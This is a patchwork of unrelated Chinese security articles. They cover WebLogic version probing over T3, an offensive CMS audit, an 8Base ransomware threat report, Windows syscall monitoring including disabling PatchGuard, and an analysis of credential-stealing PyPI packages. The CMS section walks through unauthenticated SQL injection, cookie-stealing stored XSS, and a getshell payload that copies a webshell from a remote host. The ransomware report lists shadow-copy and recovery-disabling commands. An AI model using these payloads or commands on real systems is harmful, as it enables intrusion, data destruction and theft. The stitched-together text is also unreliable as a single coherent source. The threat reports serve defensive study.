2.通過T3協議可以使用nmap的腳本weblogic-t3-info.nse,命令示例:

1.png

返回結果示例:

2.png

在原理上是通過建立socket連接,在返回結果中獲得WebLogic的版本

這裡需要注意以下問題:

(1)需要區別早期版本

早期版本的返回結果示例:t3 10.3.6.0\nAS:2048\nHL:19\n\n

目前常用版本的返回結果示例:HELO:12.2.1.3.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n

(2)存在需要多次發送的情況

存在特殊情況,返回內容為HELO,此時需要重新發送直到返回完整的版本信息

(3)T3協議可被關閉

關閉方法有以下兩種:

通過瀏覽器訪問WebLogic Admin Console,在Security-Filter設置,配置如下:

Connection Filter設置為weblogic.security.net.ConnectionFilterImpl

Connection Filter Rules設置為:

3.png如下圖

下载 (1).png通通過配置文件設置,默認路徑:Oracle_Home\user_projects\domains\base_domain\config\config.xml,內容如下:

4.png

0x03 實現細節綜合以上探測方法,為了適應多種環境,在程序實現上選取了通過HTTP協議和T3協議兩種方法實現

1.通過HTTP協議選擇默認配置下的URL:http://

需要注意以下問題:

(1)第一次訪問時存在一次跳轉

首次啟動WebLogic時,在訪問默認配置下的URL:http://

在返回內容中以字符串Deploying application作為判斷依據

(2)需要區別早期版本

早期版本的返回結果示例:

目前常用版本的返回結果示例:

WebLogic Server Version: 14.1.1.0.0

在腳本實現上優先判斷常用版本,使用正則匹配,如果失敗,再從固定格式

5.png

(3)關閉WebLogic Admin Console的識別

如果關閉了WebLogic Admin Console,訪問URL:http://

完整示例代碼如下:

6.png 7.png

2.通過T3協議發送的socket數據內容為:t3 12.1.2\nAS:2048\nHL:19\n\n

需要注意以下問題:

(1)需要區別早期版本

早期版本的返回結果示例:t3 10.3.6.0\nAS:2048\nHL:19\n\n

目前常用版本的返回結果示例:HELO:12.2.1.3.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n

為了提高準確性,這裡使用正則提取版本信息,示例代碼:

8.png

(2)存在需要多次發送的情況

存在特殊情況,返回內容為HELO,此時需要重新發送直到返回正確的版本信息

在重新發送的過程中,應關閉整個socket連接,重新初始化發送數據

(3)T3協議可被關閉

如果關閉了T3協議,返回內容示例:

9.png完整示例代碼如下:

10.png 11.png

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/WebLogic_GetVersion.py

代碼使用HTTP協議和T3協議探測版本信息

0x05 小結本文介紹了WebLogic版本探測的兩種方法,比較優缺點,選取有效的方法並通過Python實現自動化,記錄開發細節,開源代碼,作為一個很好的學習示例。

一、目录结构

    首先我们先看一下结构,system文件夹下有相关代码。我直接给大家看一下漏洞吧。

图片

二、审计出洞

1、购物车异步获取信息 - SQL注入

system\modules\member\cart.action.php

图片

  虽然本身是过滤单引号但是在这里并没有用单引号保护起来所以这里是一个注入,并且没有验证用户身份,从站外未登陆的情况下即可进行注入。

图片

图片

直接官网哈哈哈哈!!!!

2、BOM插件 - 目录遍历

system/plugin/bom/bom.plugin.php 

图片

 直接访问即可,后台即便是改了也没什么事情,照样刚!

图片


3、我的晒单 - 存储型XSS(可打到管理员Cookie)

由于这套CMS出来的较早了,在此之前被许多小黑挖掘过XSS漏洞,但是....我这个XSS貌似也是0day 哈哈哈需要晒单功能这里给大家演示一下先走一遍流程

图片


添加晒图

图片


把图片地址改成我们的XSS语句

图片


fileurl_tmp参数

图片


这时候便把IMG标签闭合了弹出了1 (触发在后台管理的“晒单查看”)

图片


4、上传配置 - 后台Getshell

 可能有些人看到后台有上传的地方,其实这些个上传是没有办法利用的。虽然你可以在后台改格式白名单但是依旧提不下。这时候呢....插马呗!!~~

图片

由于他过滤单引号所以这里就不带上单引号了。

图片

允许上传类型处,写上pyload

图片

提交完就完事了~~ 通过copy函数远程写个马就完事了

图片

5、后台验证码存在缺陷

图片

 默认账户admin 这一串MD5值就是对应的验证码的值,此处可以调用接口进行爆破。也是个小小的缺陷吧


6、组合拳Getshell - CSRF+XSS

  我们直接用XSS嵌套一个html页面,然后模拟所有的操作就完事了从修改upload格式插马开始到模拟访问

[/index.php/admin/setting/upload?c=copy("http://www.xxx.com/shell.txt","../inc.php");

直接一些列打过去就完事儿了实在不放心就在最后模拟添加一个管理员就阔以了。


这套CMS并没有过滤CSRF攻击,我也不截图了各位表哥的姿势比我骚,哇嘎嘎嘎嘎嘎嘎....需要源码可以跟我说一下(好累喔) 


转载于原文链接: https://mp.weixin.qq.com/s/8OTU9yQ3pxj6k2QpbEzNRA



儘管8Base勒索軟件組織在2023年夏天的活動突然猖獗起來,但仍然相對不為人所知。該組織結合利用加密和“點名羞辱”技術,迫使受害者支付贖金。 8Base採用伺機下手的攻擊模式,最近的受害者遍及各行各業。儘管有大量的攻擊活動,但這些事件背後的身份、方法和潛在動機等方面的信息依然成謎。

8Base當前活動的速度和效率並不表明一個新組織開始問世,而是一家老牌的成熟組織在延續。從目前獲得的信息來看,8Base當前活動的某些方面與我們過去所看到的勒索軟件活動似乎驚人地相似。

8Base勒索軟件:我們所知道的情況1.png

圖1. 8Base勒索軟件組織洩露網站的截圖

8Base是一個勒索軟件組織,自2022年3月以來一直很活躍,在2023年6月活動尤為猖獗。他們自稱是“簡單的滲透測試者”,他們的洩露網站通過常見問題解答(FAQ)和規則這兩部分為受害者提供了詳細信息,並附有多個聯繫方式。值得關注的是,8Base使用的措辭風格與另一家知名組織RansomHouse的措辭異常相似。

2.png

圖2. 表明2022年3月至2023年6月8Base勒索軟件組織活動的示意圖

洩露網站上提供的聯繫信息包括如下:

Telegram頻道:https://t[.]me/eightbase

Twitter:@8BaseHome

3.png

圖3. 8Base勒索軟件組織Twitter的截圖

8Base勒索軟件組織攻擊的主要行業包括但不限於:商業服務、金融、製造和信息技術業。

4.png

圖4. 表明8Base勒索軟件組織攻擊的主要行業的示意圖

雖然8Base勒索軟件組織不一定是一家新組織,但最近活動猖獗卻備受矚目。即使在過去的30天內,它也是戰果最豐碩的兩大勒索軟件組織之一。除了勒索函外,公眾對8Base使用的勒索軟件種類知之甚少,只知道它在加密文件後面添加擴展名“.8base”。

5.png

圖5. 對比8Base勒索軟件組織與其他已知勒索軟件組織的受害者統計數據的示意圖

VMware Carbon Black的TAU和MDR-POC團隊進行分析後披露了令人關注的發現結果,並提出了問題:“到底是誰的贖金?”

“誰在勒索?”之謎8Base和RansomHouse我們在剖析8Base時注意到這個組織與另一個組織RansomHouse頗為相似。 RansomHouse是不是一個真正的勒索軟件組織還有待爭論;該組織購買已經洩露的數據,與數據洩露網站狼狽為奸,然後向受害者勒索錢財。

第一個相似之處是在使用自然語言處理模型Doc2Vec對比勒索函的過程中發現的。 Doc2Vec是一種無監督機器學習算法,可以將文檔轉換成向量,可用於識別文檔中的相似性。對比後發現,8Base的勒索函與RansomHouse的勒索函存在99%的匹配度。為了進行比較,我們在下面提供了勒索函的部分內容:

6.png

圖6. 8Base(藍色)與RansomHouse(紅色)勒索函的對比

深入研究後,我們對各自的洩露網站進行了橫向比較。我們再次發現兩者所用的措辭如出一轍。

7.png

圖7. 8Base(藍色)和RansomHouse(紅色)歡迎頁面的對比

措辭是從RansomHouse的歡迎頁面逐字逐句複製到8Base的歡迎頁面的。兩者的服務條款頁面和常見問題解答(FAQ)頁面也是這種情況,如下所示:

8.png 22.png

圖8. 8Base(藍色)與RansomHouse(紅色)服務條款頁面的對比

9.png

圖9. 8Base(藍色)與RansomHouse(紅色)FAQ頁面的對比

比較這兩個勒索軟件組織後,發現只有兩大區別:首先,RansomHouse宣傳合作夥伴關係,並公開招募合作夥伴,而8Base則不然。

10.png

圖10. RansomHouse合作夥伴頁面

這兩個勒索軟件組織之間的第二大區別在於洩露頁面,如下所示:

11.png

圖11. RansomHouse(紅色)和8Base(藍色)洩露頁面

考慮到兩者之間的相似性,我們不禁要問:8Base有沒有可能是RansomHouse的分支還是模仿者。遺憾的是,RansomHouse以使用黑市上各種各樣的勒索軟件而臭名昭著,沒有自己的標誌性勒索軟件,因而很難比較。值得關注的是,我們在研究8Base時也沒能找到一個勒索軟件的變種。我們偶然發現了兩份截然不同的勒索函:一份與RansomHouse的相符,另一份與Phobos的相符。這就引出了一個問題:如果8Base與RansomHouse一樣也由使用不同的勒索軟件來運營,那麼8Base就是RansomHouse的分支嗎?

8Base和Phobos勒索軟件當搜索8Base勒索軟件組織使用的勒索軟件樣本時,加密文件上使用“.8base”擴展名的Phobos樣本被恢復。這可能是他們將要使用的勒索軟件的早期版本,還是8Base使用勒索軟件變種來攻擊受害者?比較Phobos和8Base樣本後發現,8Base使用的是Phobos勒索軟件版本2.9.1,SmokeLoader用於入站初始混淆以及勒索軟件的解包和加載。由於Phobos勒索軟件可通過勒索軟件即服務(RAAS)來獲取,這不足為奇。從8Base的勒索函可以看出,攻擊者可以根據其要求來定制部分內容。雖然勒索函很相似,但關鍵的區別包括:Phobos勒索軟件的上下兩個角落都有Jabber指令和“phobos”,而8Base在上角有“cartilage”、紫色背景,沒有Jabber指示,如下圖所示:

12a.png

12b.png

圖12. 8Base(藍色)與Phobos(紅色)勒索函的對比

儘管8Base添加了自己的品牌定制,為加密文件附加了“.8base”,但整個附加部分的格式與Phobos相同,包括ID部分、電子郵件地址以及文件擴展名。

13.png

圖13. 8Base(藍色)和Phobos(紅色)件擴展名的對比

似乎是8Base勒索軟件組織獨有的其他分析結果包括:8Base樣本是從域名admlogs25[.]xyz下載的,該域名似乎與SystemBC這個代理和遠程管理工具相關聯。 SystemBC已被其他勒索軟件組織用來加密和隱藏攻擊者的指揮和控制流量的目的地。

VMware Carbon Black Detection作為一款端點檢測和響應產品,VMware Carbon Black Managed Detection and Response可以有效地檢測勒索軟件和類似勒索軟件的行為。我們在文章末尾附有攻陷指標部分,可以用於創建檢測和防止8Base勒索軟件執行的規則。

VMware Carbon Black有一個活躍的規則集,用於檢測所有勒索軟件類型的惡意軟件。該規則集足以檢測和防止惡意軟件,並為客戶提供主動保護。建議活躍的客戶確保啟用該規則集。

當然,從一開始就試圖阻止勒索軟件運行很重要。正如報告中所述,8Base使用SystemBC來加密指揮和控制流量,並使用Smokeloader,以便入站初始混淆勒索軟件、完成Phobos勒索軟件的解包和加載。防止這種活動的建議包括如下:

警惕網絡釣魚郵件:許多附有Smokeloader的威脅是通過網絡釣魚郵件投遞的。確保員工了解網絡釣魚電子郵件技術是做好防範工作的關鍵。

確保正確配置網絡監控工具(SIEM解決方案),以防止任何惡意軟件連接到指揮和控制服務器。攻陷指標部分附有域名。

下面所附的攻陷指標對於尋找威脅搜尋而言非常有價值。這些指標是識別潛在安全漏洞和惡意活動的必要工具。如果充分利用這些指標,安全專業人員就能積極主動地調查和消除威脅,並確保系統的完整性和安全性。如果謹慎地搜索威脅和利用這些指標,組織就可以提前防範潛在風險,並保持強大的安全態勢。

總結考慮到8Base的性質,我們目前只能推測他們在使用幾種不同類型的勒索軟件——要么是早期變種,要么是正常活動程序的一部分。我們只知道,這個組織非常活躍,找小企業下手。

8Base到底是Phobos還是RansomHouse的分支還有待觀察。值得關注的是,8Base與RansomHouse幾乎相同,並使用Phobos勒索軟件。目前,8Base仍然是今年這個夏天最活躍的勒索軟件組織之一。

MITRE ATTCK威脅知情防禦(TID):

戰術

技術

描述

TA0003 持久性

T1547.001註冊表運行鍵/啟動文件夾

添加以下內容:

%AppData%\Local\{malware}%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\{malware}%AppData%\Roaming\Microsoft\Start Menu\Programs\Startup\{malware}

TA0007 發現

T1135網絡共享發現

使用WNetEnumResource()搜索網絡資源

TA0004 特權提升

T1134.001令牌冒充/盜竊

使用DuplicateToken()調整令牌特權

TA0005 防禦規避

T1562.001禁用或篡改工具

終止一長串進程,這些進程結合了常用的應用程序(比如MS Office應用程序)和安全軟件

TA0005 防禦規避

T1027.002 經過混淆處理的文件或信息:軟件打包

SmokeLoader解包Phobos並加載到內存中

TA0040 影響

T1490阻止

系統恢復

運行:

wmic shadowcopy delete

wbadmin delete catalog -quiet

vssadmin delete shadows /all /quiet

bcdedit /set {default} recoveryenabled no

bcdedit /set {default} bootstatuspolicy ignoreallfailures

TA0040 影響

T1486數據加密影響

使用AES加密文件

攻陷指標指標

類型

上下文

518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c

SHA-256

8Base 勒索軟件(Phobos變種)

5BA74A5693F4810A8EB9B9EEB1D69D943CF5BBC46F319A32802C23C7654194B0

SHA-256

8Base勒索函(RansomHouse 變種)

20110FF550A2290C5992A5BB6BB44056

MD5

8Base勒索函(RansomHouse 變種)

3D2B088A397E9C7E9AD130E178F885FEEBD9688B

SHA-1

8Base勒索函(RansomHouse 變種)

e142f4e8eb3fb4323fb377138f53db66e3e6ec9e82930f4b23dd91a5f7bd45d0

SHA-256

8Base勒索軟件(Phobos變種)

5d0f447f4ccc89d7d79c0565372195240cdfa25f

SHA-1

8Base勒索軟件(Phobos變種)

9769c181ecef69544bbb2f974b8c0e10

MD5

8Base勒索軟件(Phobos變種)

C6BD5B8E14551EB899BBE4DECB6942581D28B2A42B159146BBC28316E6E14A64

SHA-256

8Base勒索軟件(Phobos變種)

518544E56E8CCEE401FFA1B0A01A10CE23E49EC21EC441C6C7C3951B01C1B19C

SHA-256

8Base勒索軟件(Phobos變種)

AFDDEC37CDC1D196A1136E2252E925C0DCFE587963069D78775E0F174AE9CFE3

SHA-256

8Base勒索軟件(Phobos變種)

wlaexfpxrs[.]org

將數據發佈到URL

8Base勒索軟件引薦域名(Phobos變種)

admhexlogs25[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

admlogs25[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

admlog2[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

dnm777[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

serverlogs37[.]xyz

將數據發佈到URL

8Base勒索軟件引薦域名

9f1a.exe

文件名

8Base勒索軟件投放的文件

d6ff.exe

文件名

8Base勒索軟件投放的文件

3c1e.exe

文件名

8Base勒索軟件投放的文件

dexblog[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

blogstat355[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

blogstatserv25[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

監視系統調用(syscall) 和分析系統行為可以幫助您調試產品並提高其性能、安全性和合規性。然而,由於缺乏內置工具以及需要逆向工程和應用程序行為分析的專業知識,監視Windows 中的系統調用面臨著挑戰。

在本文中,我們討論在Windows 中監視系統調用的一些核心方法。

監控Windows 中的系統調用:查看內容以及原因係統調用是一種使程序能夠從操作系統內核請求各種類型的服務和任務的機制。系統調用為用戶級程序訪問系統資源提供了一種安全且受控的方式,而不會影響操作系統(OS) 的穩定性或安全性。當執行請求的操作時,系統調用在用戶模式和內核模式之間轉移控制。

系統調用是ring-0/ring-3隔離的標準部分。讓我們仔細看看。

在操作系統中,有兩種代碼環境:以完全權限運行的內核代碼(環0)

以有限權限運行的用戶代碼(環3)

在這些環境之間,有一個系統調用接口。

環0 和環3 之間的劃分(內核級別和用戶級別)是觀察應用程序行為和原始操作的最佳點。當代碼達到系統調用級別時,應用程序無法混淆其操作。例如,如果用戶級代碼秘密調用CreateFile()函數,您仍然可以通過監視系統調用來檢測到這一點,因為您將看到NtCreateFile 系統調用的執行。

對於大多數流行的體系結構,包括x86、AMD64、ARM64 和PowerPC,處理系統調用的方法是相同的:在用戶級別,一組系統API 充當系統調用的包裝器。

在內核級別,內核API 實現系統調用的處理程序並由內核驅動程序使用。

在某些體系結構中,系統調用稱為系統服務。

Windows 中系統調用的常見示例包括:文件輸入/輸出(I/O) 操作,例如讀取或寫入文件

流程管理,例如創建新流程或終止現有流程

內存管理,例如分配內存

進程間通信,例如在進程之間發送或接收消息

設備驅動程序操作,例如向硬件設備發送命令

為什麼您的開發人員需要監視系統調用?

Windows 系統調用監控對於研究多層軟件和分析具有混淆代碼的應用程序的行為至關重要。使用這種方法,您可以確定特定應用程序的行為方式,而無需分析應用程序每個級別的代碼。

監控系統調用的常見原因包括:調試—— 跟踪應用程序中的問題,確定其根本原因,并快速修復錯誤。

性能優化——識別瓶頸並優化有問題的代碼部分以提高整體性能。

安全——檢測可疑的、潛在的惡意行為,並採取措施阻止其發生。

合規性——通過分析應用程序訪問和使用特定類型數據的方式,確保應用程序符合相關要求。

image.png

然而,在實踐中應用這種方法面臨著多重挑戰。它需要深入了解操作系統的細節以及逆向工程和應用程序行為分析的利基知識。在下一節中,我們將根據Apriorit 專家的經驗,討論開發人員在嘗試監視Windows 中的系統調用時可能面臨的關鍵問題。

Windows 中的系統調用監控挑戰與Linux 具有用於監視任何進程中的系統調用的strace工具相比,Windows 由於安全原因沒有用於此任務的內置工具。然而,在Windows XP 之前,任何需要監視或控制用戶級代碼的軟件(例如防病毒軟件)都可以在兩個表中設置掛鉤:

系統服務描述符表(SSDT)

影子系統服務描述符表(影子SSDT)

這些表包含指向處理特定係統調用的內核函數的指針。

在SSDT 和Shadow SSDT 中設置掛鉤會導致大量衝突和不穩定,導致Windows 聲譽受損,並使其看起來像一個不可靠的操作系統。除此之外,rootkit 和病毒還能夠在SSDT 和Shadow SSDT 中設置掛鉤。這就是為什麼微軟被迫阻止對這些表的訪問,並且從Windows XP開始,實施了PatchGuard,也稱為內核補丁保護。從那時起,系統監控工具只能為一小部分內核事件設置回調,這使得系統調用的監控變得非常具有挑戰性。

下面,我們討論如何監視Windows 中的系統調用,並解釋一種安全有效的方法來分析Windows 中的程序行為。

使用XPerf 監控Windows 系統調用在Windows XP 中,Microsoft 引入了Windows 事件跟踪(ETW)機制,用於XPerf工具使用的詳細事件日誌記錄。後者現在是Windows Performance Toolkit的一部分。

一般來說,微軟將ETW 回調放置在整個Windows 子系統中,以便能夠跟踪低級事件。使用ETW,您可以獲取系統事件,因此XPerf 對於監視系統調用也可能很有用。

讓我們看看如何使用XPerf 來監視Windows 中的系統調用。

首先,我們查詢ETW 提供者,看看是否有與系統調用相關的內容:

logman.exequeryproviders在我們從XPerf 收到的信息中,沒有任何看起來像系統調用的內容。轉到TraceView 並監視名稱如Microsoft-Windows-Kernel-* 的內核提供程序事件,也為我們帶來了各種類型的內核事件,但沒有有關係統調用的結果。

下一個可能性是使用SystemTraceProvider一個跟踪內核事件的內核提供程序。將這個提供程序的GUID 添加到TraceView 後,我們仍然沒有結果。

為了尋找設置掛鉤的可能替代方案,我們嘗試了不同的方法來監視Windows 中的系統調用,包括通過虛擬機管理程序掛鉤SSDT 函數以及使用Windows 事件跟踪的未記錄部分。

使用Syscall Monitor 和InfinityHook 監控Windows 系統調用為了尋找替代解決方案,我們決定研究一下記錄較少的監控系統調用的方法。

免責聲明:以下操作僅用於研究目的。

在研究了幾種可能性之後,我們在GitHub 上發現了兩個有前途的項目:系統調用監視器

無限鉤

讓我們從測試Syscall Monitor 工具開始。該項目使用虛擬機擴展通過虛擬機管理程序掛鉤SSDT 功能。該方法本身有效,使得監視Windows 中的系統調用成為可能。不幸的是,作者決定實現該工具作為ProcessMonitor的替代品。因此,Syscall Monitor 的能力有限,只能監控一小部分系統調用:

image.png屏幕截圖1. 使用Syscall Monitor 的結果

總而言之,Syscall Monitor 是一個很好的工具,可以幫助您開始研究SSDT 掛鉤,但如果您想監視圖形設備接口(GDI) 系統調用等內容,則該工具就沒用了。

現在,讓我們繼續測試InfinityHook 工具的使用。根據該工具的描述,在使用它之前,您需要了解ETW的基礎知識。

為了監視Windows 中的系統調用,InfinityHook 在系統調用處理程序的內核代碼中使用ETW 跟踪的未記錄部分。值得注意的是,該項目無法輕鬆地開箱即用,我們必須在設法運行代碼之前實現一些細微的更改。然而,結果我們得到了BSOD:

image.png屏幕截圖2. 使用InfinityHook 工具的結果

從上面的屏幕截圖中可以看到,我們收到一條錯誤消息,內容為“停止代碼:KERNEL_SECURITY_CHECK_FAILURE”。此消息意味著內核補丁保護已被觸發。顯然,最新版本的Windows 保護內核ETW 提供程序回調免受修改,因此為了監視Windows 系統調用,我們需要禁用PatchGuard。

在Windows 10 中禁用PatchGuard 的一種方法是使用EfiGuard項目。按照GitHub 的說明,我們使用軟盤映像啟動Windows 10 的VMWare 實例,用於此類研究和實驗:

image.png

屏幕截圖3. 使用EfiGuard 工具的結果

我們嘗試了幾種不同的驅動程序簽名強制繞過方法,但結果仍然相同- 我們仍然遇到由內核補丁保護觸發的BSOD。經過進一步調查,我們確定EfiGuard 在不同的Windows 版本上成功運行- 具體來說,Windows 10 版本1511。

然後,我們創建了一個新的VMWare 映像,並在其上安裝了Windows 10 build 1511,並嘗試使用EfiGuard 再次禁用PatchGuard。這一次,我們的嘗試成功了,我們終於成功運行了InfinityHook項目。 InfinityHook 使用DbgPrint()

函數打印有關來自驅動程序的系統調用的信息。因此,我們需要使用DebugView工具來查看其日誌。

image.png屏幕截圖4. InfinityHook 中的系統調用監控結果

從上面的截圖可以看出,InfinityHook提供了以下數據:系統調用索引

EPROCESS值

系統調用的堆棧指針

索引超過4000 的系統調用是GDI 調用。為了正確地將索引映射到系統調用的名稱,您需要知道與您的計算機運行的內核版本相關的系統調用索引。您還可以嘗試使用互聯網上提供的系統調用表之一進行進一步研究。

然而,由於這種方法需要額外的努力,我們嘗試尋找一種更方便、更安全的方法來監視Windows 中的系統調用。在下一節中,我們將詳細討論如何使用DTrace 來監視Windows 系統調用。

使用DTrace 監控Windows 系統調用DTrace是一個動態跟踪框架,允許開發人員在用戶模式和內核模式下實時分析系統行為。該框架最初由Sun Microsystems 為Solaris 操作系統開發,後來移植到其他類Unix 操作系統,例如macOS和Linux。

目前,微軟還支持DTrace,使開發人員和軟件研究人員能夠監控從Windows 10 Build 1903開始的64位平台上的系統調用。但是,該工具只能捕獲64位進程的痕跡。

GitHub 上的DTraceon Windows頁麵包含有關如何安裝它的易於遵循的說明,因此我們將在概述中省略這部分。

默認情況下,系統將DTrace 放置在C:\Program Files\DTrace文件夾中。要使用它,您需要以管理員身份運行以下命令:

dtrace-lnsyscall:運行此命令後,DTrace 應打印系統中可用於監視的系統調用列表。

注意:每個系統調用都會打印兩次,因為您可以監視系統調用參數及其返回值。

接下來,運行以下用D語言編寫的腳本繼續進行系統調用監控:

syscall:/pid==9140/{printf('%scalled\n',execname);}這個特定的腳本打印PID=9140 的進程的所有系統調用。通過更改PID,您可以監視您感興趣的任何其他進程的系統調用。

將腳本保存為test.d 文件,然後您可以使用簡單的命令運行它:

Dtrace-stest.d要了解其工作原理,讓我們運行記事本腳本。我們收到以下結果:

image.png

屏幕截圖5. 使用DTrace 監控記事本系統調用

您可以隨時按Ctrl+C停止使用DTrace 監視Windows 系統調用。

要了解有關使用DTrace 腳本和可能的系統監控方法的更多信息,您可以探索Microsoft 在DTrace GitHub 頁面上提供的示例。

結論監視系統調用可以提供有關應用程序行為和性能的寶貴見解,從而幫助開發人員創建更可靠、更高效、更安全的應用程序。要監視Windows 中的系統調用,可以使用Microsoft 官方支持的DTrace 實現。

微信截图_20230716105524.png

今年3月,Unit 42的研究人員在Python Package Index(PyPI)包管理器上發現了6個惡意包。惡意軟件包旨在竊取Windows用戶的應用程序憑據、個人數據和加密錢包的跟踪信息。該攻擊試圖模仿攻擊組織W4SP,該組織此前曾使用惡意軟件包發起過幾次供應鏈攻擊。

研究人員將討論攻擊者在開源生態系統中使用惡意包傳播惡意代碼的難易程度,他們觀察到的行為並不是由攻擊組織策劃的有組織的攻擊,而很可能是一個模仿者閱讀了以前攻擊的技術報告來執行他們自己的攻擊。

研究人員將描述Palo Alto Networks Prisma Cloud模塊使用的指標,這些指標識別了本文討論的惡意軟件包。 Palo Alto Networks的客戶可以通過Prisma Cloud獲得包含惡意代碼的開源軟件包的保護。

惡意軟件包是故意設計用於對計算機系統或其處理的數據造成損害的軟件組件。此類軟件包可以通過各種方式傳播,包括釣魚電子郵件、被攻擊的網站甚至合法的軟件存儲庫。

惡意軟件包可能會產生很大的破壞力,包括偷偷竊取敏感數據到導致系統中斷,甚至控制整個系統。此外,這些惡意軟件包具有傳播到其他互聯繫統的能力。因此,在進行軟件下載和安裝時,尤其是在源代碼不熟悉或不受信任的情況下,務必格外小心。

通過保持警惕和洞察力,用戶可以保護他們的系統,並防止攻擊者滲透到他們的技術環境。

在PyPI中發現新的惡意包2023年3月,Prisma Cloud研究人員在PyPI軟件包管理器上發現了6個針對Windows用戶的惡意軟件包。惡意軟件包旨在竊取應用程序憑據、個人數據和加密貨幣錢包信息。

研究人員的Prisma Cloud引擎,旨在檢測惡意PyPI包,發現幾個在短時間內上傳的具有可疑屬性的包:

這些軟件包缺少相關的GitHub存儲庫,它通常與合法軟件包一起使用。這可能表明希望從視圖中隱藏代碼。另外,再加上有限的下載量,進一步引起了研究人員的懷疑;

在執行時,這些包執行惡意操作,例如收集敏感數據並將其發送到第三方URL;

這些包包含一個惡意代碼模式,目前已檢測到了它;

因為包的開發者是新創建的,只上傳了一個包,並且沒有提供支持信息,例如到其他項目或任何存儲庫的鏈接,所以他們不被認為是有信譽的;

最後,包開發者的用戶名是在幾分鐘內創建的,遵循一個獨特的模式(例如,Anne1337、Richard1337),每個用戶名只上傳了一個包。

第二階段的攻擊與我們之前看到的W4SP攻擊群的攻擊相似。該組織專門利用開源生態系統中的漏洞,針對組織和傳播惡意軟件。他們的主要目標是獲得對敏感信息(如用戶憑據和財務數據)的未經授權的訪問權限。他們經常使用自動化工具來掃描漏洞並試圖利用它們。除了傳統攻擊外,W4SP攻擊者還執行供應鏈攻擊。

檢測結果Prisma Cloud引擎檢測到被標記為可能包含惡意代碼的包。每個包都包含一個指向可疑遠程URL的鏈接,試圖在單個用戶單獨上傳後下載內容。

每個上傳包的用戶的用戶名都是在上傳前創建的,之前沒有任何上傳包的歷史記錄。每個包都有數百次下載,直到研究人員的研究團隊報告了濫用行為,PyPI才將它們和上傳它們的欺詐性用戶帳戶刪除。

研究人員分析了代碼並試圖找到開發者。研究人員在每個包開發者的用戶名中發現了一個模式,他們使用“1337”作為後綴,這表明某些自動過程創建了這些用戶,下圖1顯示了其中一個用戶名的開發者頁面。

1.png

惡意包

2.png

PyPI的開發者頁面

自定義包入口點這次攻擊類似於研究人員之前看到的W4SP攻擊組織的攻擊,此文詳細介紹了這一攻擊。這些相似之處讓研究人員相信這是一次模仿。

但此次攻擊沒有真正的W4SP攻擊那麼複雜,例如:

沒有針對任何組織;

惡意軟件包沒有像W4SP攻擊所預期的那樣,使用常見流行軟件包的輸入錯誤;

第二階段的攻擊沒有加密,在來自W4SP的真正攻擊中,這個階段是加密的,這使得檢測更加困難;

W4SP在以前的攻擊中使用的大部分代碼已經可以下載,因此可以很容易地訪問和重新利用;

在之前的攻擊中,W4SP 竊取程序作為從免費文件託管服務下載的第二階段有效載荷傳播,這使得攻擊者可以避免在包存儲庫中進行檢測。

這些包沒有包含明顯的惡意代碼,而是精心設計的,以具有在安裝或執行過程中觸發的特定入口點。通過利用免費文件託管服務和自定義入口點,攻擊者的目標是不被發現,這對負責檢測和防禦此類攻擊的安全專業人員和研究人員構成了重大挑戰。

這些攻擊很容易實現,並且可以在幾乎沒有安全專業知識的情況下發起。但是,它們可能非常有效,因為安裝過程會自動執行攻擊,而不是在使用導入模塊時需要攻擊者發起攻擊。

當軟件開發人員想要使用Python包時,他們必須執行兩個操作。第一個步是安裝包,第二個步是在代碼中導入或聲明以使用它。正如接下來討論的那樣,攻擊代碼實際上是從安裝文件(setup.py)中開始的,這意味著在安裝包期間已經執行了攻擊。

在研究人員調查的示例中,攻擊者稱自己為@EVIL$竊取程序。然而,該名稱隨著每次攻擊而改變。以下是代碼簽名中的名稱集合:

ANGEL竊取程序

Celestial竊取程序

Fade竊取程序

Leaf $tealer

PURE竊取程序

Satan竊取程序

@skid 竊取程序

惡意代碼setup.py文件在所有包中都是相同的,並且包含以下代碼片段,用於在執行之前從遠程URL下載內容:

3.png

Setup.py(第一階段)惡意代碼

上圖顯示了以下活動:

1.攻擊者使用_ffile對象創建臨時文件,並使用write方法寫入文件的內容,使用帶有NamedTemporaryFile函數的臨時文件是一種眾所周知的技術,可以隱藏惡意代碼,使其不被殺毒軟件或其他安全措施檢測到;

2.文件的內容是通過使用urlopen函數從urllib下載URL的內容獲得的。請求模塊,然後使用exec函數執行文件的內容;

3.在寫完臨時文件的內容後,將關閉該文件,並嘗試在系統shell中使用start命令執行它。如果成功,將調用setup函數來創建包。然後攻擊者使用start命令啟動Python引擎的可執行文件(pythonw.exe),之後這個可執行文件將執行作為參數傳遞的腳本文件。由於該惡意軟件包針對Windows用戶,如果腳本文件未簽名,則不會受到SmartScreen (Windows安全功能,用於檢測和防止潛在惡意文件的執行)或簽名檢查的影響。這意味著它將在目標計算機上執行惡意代碼,即使目標計算機啟用了SmartScreen和簽名檢查。

第二階段:W4SP竊取程序根據研究人員的研究,在第二階段,攻擊者使用了配置版本的W4SP竊取程序1.1.6。這個版本類似於以前的版本,其中代碼導入了幾個庫,包括requests, Crypto.Cipher, json和sqlite3。然後,它使用各種技術提取和解密存儲的瀏覽器憑據,包括密碼和cookie,並將這些信息發送到Discordwebhook。

代碼的主體定義了一個類DATA_BLOB,用於存儲CryptUnprotectData函數的數據。此函數用於解密受Windows數據保護API(DPAPI)保護的值,該值用於存儲密碼和API密鑰等敏感數據。代碼嘗試使用CryptUnprotectData和DecryptValue函數解密一個值,然後通過Discord webhook將其發送到遠程服務器,如下圖所示。

4.png

嘗試解密Windows數據保護API(DPAPI)保護的值

下圖顯示了攻擊者試圖收集受害者信息的幾個惡意代碼示例。如下圖所示,攻擊者試圖收集受害者的信息,包括IP地址、用戶名、國家/地區代碼。

5.png

檢索有關用戶IP地址、位置和用戶名等信息的代碼

